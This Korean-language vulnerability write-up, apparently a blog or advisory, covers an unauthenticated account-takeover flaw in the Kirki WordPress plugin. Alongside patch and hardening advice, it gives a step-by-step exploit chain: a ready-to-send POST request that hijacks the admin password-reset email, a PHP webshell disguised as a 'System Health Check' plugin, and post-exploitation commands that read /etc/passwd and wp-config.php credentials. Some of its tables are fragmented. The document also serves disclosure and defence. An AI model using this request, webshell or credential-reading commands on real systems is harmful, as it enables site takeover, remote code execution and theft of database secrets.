
CVE-2026-8206: Kirki Customizer Framework - 비인증 계정 탈취 (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 치명적(Critical)
벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206은 90,000개 이상의 활성 설치를 보유한 인기 WordPress 페이지 빌더 플러그인인 Kirki Customizer Framework에서 발견된 인증되지 않은 계정 탈취(Unauthenticated Account Takeover) 취약점입니다. 이 취약점을 통해 공격자는 단 한 번의 HTTP 요청만으로 모든 WordPress 계정(관리자 포함)을 탈취할 수 있습니다.
이 버그는 ComponentLibrary 모듈의 REST API 엔드포인트 kirki-forgot-password에 존재합니다. 이 엔드포인트는 모든 사용자에 대한 비밀번호 재설정을 요청할 수 있게 하며, 사용자의 등록된 이메일 대신 공격자가 지정한 이메일 주소로 재설정 링크를 전송합니다.
| 정보 | 세부 사항 |
|---|---|
| 플러그인 | Kirki Customizer Framework (WordPress 페이지 빌더) |
| 영향을 받는 버전 | 6.0.0 – 6.0.6 |
| 패치된 버전 | 6.0.7 (또는 6.0.12 이상) |
| 취약점 유형 | 비밀번호 재설정 이메일 하이재킹을 통한 인증되지 않은 계정 탈취 |
| 엔드포인트 | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (또는 /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 치명적(Critical) |
악용 전제 조건:
→ Kirki 6.0.0–6.0.6이 설치된 모든 WordPress 사이트는 기본적으로 취약합니다.
Kirki는 로그인, 회원가입, 비밀번호 찾기, 비밀번호 변경을 포함한 Component Library 기능을 위한 REST API 엔드포인트를 등록합니다. 이 모든 엔드포인트는 게스트 접근을 허용합니다(guest_permissions_check가 true를 반환).
WordPress nonce는 CSRF 보호 토큰입니다. Kirki는 X-WP-Element-Nonce 헤더를 통해 nonce를 요구하거나 요청 내 nonce 파라미터를 확인합니다. 그러나 nonce는 클라이언트 측에서 공개적으로 생성/추출될 수 있습니다.
WordPress는 get_password_reset_key()를 사용하여 비밀번호 재설정 토큰을 생성합니다. Kirki는 이 토큰을 전송 전에 이메일 템플릿에 포함시킵니다.
파일: ComponentLibrary/controller/CompLibFormHandler.php
취약한 버전(6.0.0–6.0.6)에서 handle_forgot_password() 함수는 제공된 이메일이 사용자의 등록된 이메일과 일치하는지 확인하지 않습니다. 공격자는 피해자의 사용자 이름과 자신의 이메일을 지정할 수 있으며, 재설정 링크는 공격자의 이메일로 전송됩니다.
취약한 소스 코드:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
이메일 제목과 본문은 무결성 검증을 위한 HMAC 서명 없이 emailSubject 및 emailBody 파라미터를 통해 클라이언트로부터 수신됩니다. 공격자는 전송되는 이메일의 내용을 임의로 수정할 수 있습니다.
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| 요인 | 설명 |
|---|---|
| 인증 불필요 | guest_permissions_check()가 true를 반환 — 누구나 엔드포인트를 호출할 수 있음 |
| 모든 계정 탈취 가능 |
CVE-2026-8206 악용은 제로 액세스(계정 없음, 비밀번호 없음, 세션 없음) 상태에서 시작하여 HTTP 요청만으로 완전한 관리자 탈취까지 이어집니다.
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
wordpress.org에서 플러그인을 다운로드하고 CompLibFormHandler.php 파일을 직접 엽니다:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ 코드를 읽어 보면 emailBody는 JSON 배열이어야 하며, 각 항목은 type과 value를 가집니다. type = chip이고 value = reset_link이면 Kirki가 자동으로 이메일에 재설정 링크를 삽입합니다.
플러그인 디렉터리 내에서 직접 Grep합니다:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
컴파일된 프론트엔드 코드에서 필요한 정확한 JSON 구조를 확인할 수 있습니다.
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
공격자는 피해자의 사용자 이름(admin)과 공격자가 통제하는 이메일 주소([email protected])를 사용하여 forgot-password 엔드포인트에 POST 요청을 전송합니다. 서버는 피해자를 위한 재설정 키를 생성하지만 재설정 링크는 [email protected]으로 전송합니다.
요청 전송:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

응답 (성공):

공격자의 사서함에서 수신된 이메일 (http://localhost:8025의 MailHog):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

공격자는 이메일에서 획득한 key 토큰을 사용하여 kirki-change-password 엔드포인트 또는 WordPress의 기본 폼을 통해 관리자 계정의 비밀번호를 변경한 후 로그인하여 웹사이트에 대한 완전한 관리 권한을 획득합니다.

admin 계정을 사용하여 비밀번호가 변경되고 접속되었습니다.

admin 계정 접속 성공.
관리자 대시보드 접근 권한을 획득한 후, 공격자는 WordPress의 기본 플러그인 업로드 기능을 통해 **계정 탈취(Account Takeover)**에서 **원격 코드 실행(RCE)**으로 권한을 승격시킵니다.
공격자는 정상적인 WordPress 플러그인으로 위장한 PHP 웹셸을 생성합니다:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
이 파일은 관리자 인터페이스를 통한 업로드를 위해 system-health.zip으로 압축됩니다.
공격자는 플러그인 → 새 플러그인 추가 → 플러그인 업로드로 이동하여 system-health.zip 파일을 선택하고 지금 설치 → 플러그인 활성화를 클릭합니다.

업로드 후 WordPress는 .zip 파일을 서버의 /wp-content/plugins/ 디렉터리에 자동으로 압축 해제하여 웹셸이 작동할 준비를 마칩니다.
공격자는 /wp-content/plugins/webshell-plugin/shell.php 엔드포인트를 통해 웹셸에 직접 접근합니다.


RCE 성공.
이 시점에서 공격자는 www-data 권한으로 서버에서 완전한 명령 실행 능력을 갖게 됩니다. 이후의 행동에는 다음이 포함될 수 있습니다:
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| 현재 버전 | 업그레이드 대상 |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 이상 |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
관리자 계정이 손상되더라도 다음 조치를 통해 피해를 완화할 수 있습니다:
| 사용자 이름만 있으면 됨 (기본값: 'admin') — 이메일/비밀번호 불필요 |
| 영향: 관리자 탈취 | 관리자 탈취 → 웹셸 업로드 → RCE → 서버 완전 장악 |
| 광범위한 영향 | Kirki는 많은 WordPress 테마에 통합되어 널리 사용되는 플러그인 |
| 명령 | 목적 |
|---|
id | 실행 중인 사용자의 권한 확인 |
whoami | 현재 사용자 이름 확인 |
cat /etc/passwd | 시스템 사용자 목록 읽기 |
uname -a | 커널/OS 정보 확인 |
cat wp-config.php | 데이터베이스 자격 증명 읽기 |
ls -la / | 전체 파일 시스템 탐색 |
| # | 단계 | 방법 | 경로 |
|---|
| 1 | 재설정 이메일 하이재킹 | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | 비밀번호 재설정 | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | 관리자 로그인 | POST | /wp-login.php |
| 4 | 웹셸 업로드 | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| 조치 | 구성 |
|---|
| 대시보드를 통한 플러그인/테마 설치 차단 | wp-config.php에 define('DISALLOW_FILE_MODS', true); 추가 |
| 대시보드에서 코드 편집 차단 | wp-config.php에 define('DISALLOW_FILE_EDIT', true); 추가 |
| 업로드 디렉터리 권한 제한 | 디렉터리는 chmod 755, 파일은 chmod 644 |
| WAF (웹 애플리케이션 방화벽) | ModSecurity 또는 Cloudflare WAF를 배포하여 REST API에 대한 비정상적인 요청 차단 |
| 모니터링 | OSSEC 또는 Wordfence와 같은 도구를 사용하여 /wp-content/plugins/의 파일 변경 모니터링 |